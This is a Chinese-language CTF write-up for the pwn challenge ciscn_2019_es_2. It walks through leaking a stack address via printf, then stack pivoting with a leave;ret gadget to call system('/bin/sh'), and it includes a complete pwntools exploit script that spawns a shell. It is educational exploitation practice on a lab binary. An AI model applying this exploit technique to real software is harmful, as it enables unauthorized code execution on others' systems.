本题难点:栈迁移
1.Checksec & IDA Pro
main函数内容如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}
没什么东西,主要是调用了 init 与 vul 函数
init 函数
int init()
{
setvbuf(stdin, 0, 2, 0);
return setvbuf(stdout, 0, 2, 0);
}
vul 函数
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
hack 函数
int hack()
{
return system("echo flag");
}
2.源码分析:
echo flag 只是在屏幕上打印了 flag 4个字母。而不是cat flag。因此行不通。但是system可以拿来用作执行指令,比如 /bin/sh 。
可以看到有栈溢出漏洞,但是有一个问题就是:
由于对 s 大小的限定,最多是 0x30 ,但是需要填充0x28的数据。最多再放下一条ret指令。但是hack函数内并没有直接获取flag或者shell的东西。
这时候就得使用栈迁移了。
栈迁移的两个条件:
1.存在 leave , ret gadget
2.有可以执行的内存段/或者 system 等函数
栈迁移的原理介绍及应用:
3.栈迁移
vul 函数中使用了 printf 函数。
printf函数在没有遇到 \x00 之前会一直输出内容直到遇到 \x00
这就是部分 锟斤拷烫烫烫 的原因
本题中劫持目标地址为缓冲区变量 s 的起始地址。要计算这部分地址,可以使用 ebp + 偏移量 的方式。栈上 ebp 可以使用 printf 泄露。
可以把断点下在 vul 函数中的nop上。
为什么是 0xffffd0d8 呢?因为 ebp 指向的 0xffffd0c8 是所存内容的地址,指向的内容 0xffffd0d8 ,也就是栈上 ebp , 为main函数的 old ebp 。 与变量 s 的距离为 0x38。
也就是 s 的起始地址为 ( old ebp - 0x38 ),也就是劫持目标地址。
Payload 思路:
1.首先泄露 s 地址,然后输入aaaa,填充system地址的前4个字节。因为esp指向aaaa时,执行的是aaaa下一条地址。
2.填充system地址,后4字节用aaaa或者任意东西填充。
3.填充/bin/sh
4.构造PoC
首先寻找是否存在可用的leave ret gadget
from pwn import *
io = process("/root/Desktop/PwnSubjects/ciscn_2019_es_2")
elf = ELF("/root/Desktop/PwnSubjects/ciscn_2019_es_2")
leave_ret_addr = 0x80484B8
system = 0x8048400
payload_leak = b'A' * ( 0x27 ) + b'B'
io.send(payload_leak)
io.recvuntil(b'B')
original_ebp = u32(io.recv(4))
print("Original ebp Address: ",hex(original_ebp))
payload_main = b'a' * 4
payload_main += p32(system)
payload_main += b'b' * 4
payload_main += p32(original_ebp - 0x28)
payload_main += b'/bin/sh\x00'
print(payload_main)
payload_main = payload_main.ljust(0x28,b'p')
payload_main += p32(original_ebp - 0x38)
payload_main += p32(leave_ret_addr)
print(payload_main)
io.sendline(payload_main)
io.interactive()
PoC解析:
payload_leak
利用了printf函数在遇到 '\x00' 后才会停止输出的漏洞
payload_leak = b'A' * ( 0x27 ) + b'B' # 用27个A与1个B,1个B用来 recvuntil
io.send(payload_leak) # 不能使用 sendline,sendline会自动在末尾发送 '\x00',而 send 不会
io.recvuntil(b'B') # 接收 ebp 地址
original_ebp = u32(io.recv(4)) # 解包 ebp 地址
print("Original ebp Address: ",hex(original_ebp)) # 打引 ebp 的地址
payload_main
payload_main = b'a' * 4 # 发送4个a,随便输
payload_main += p32(system)
payload_main += b'b' * 4 # system执行完后的返回地址 随便写
payload_main += p32(original_ebp - 0x28) # /bin/sh 的地址
payload_main += b'/bin/sh\x00' # /bin/sh
payload_main = payload_main.ljust(0x28,b'p') # 将payload补齐到0x28,注意这里是 = 不是 +=
payload_main += p32(original_ebp - 0x38) # 劫持栈
payload_main += p32(leave_ret_addr)
成功获取shell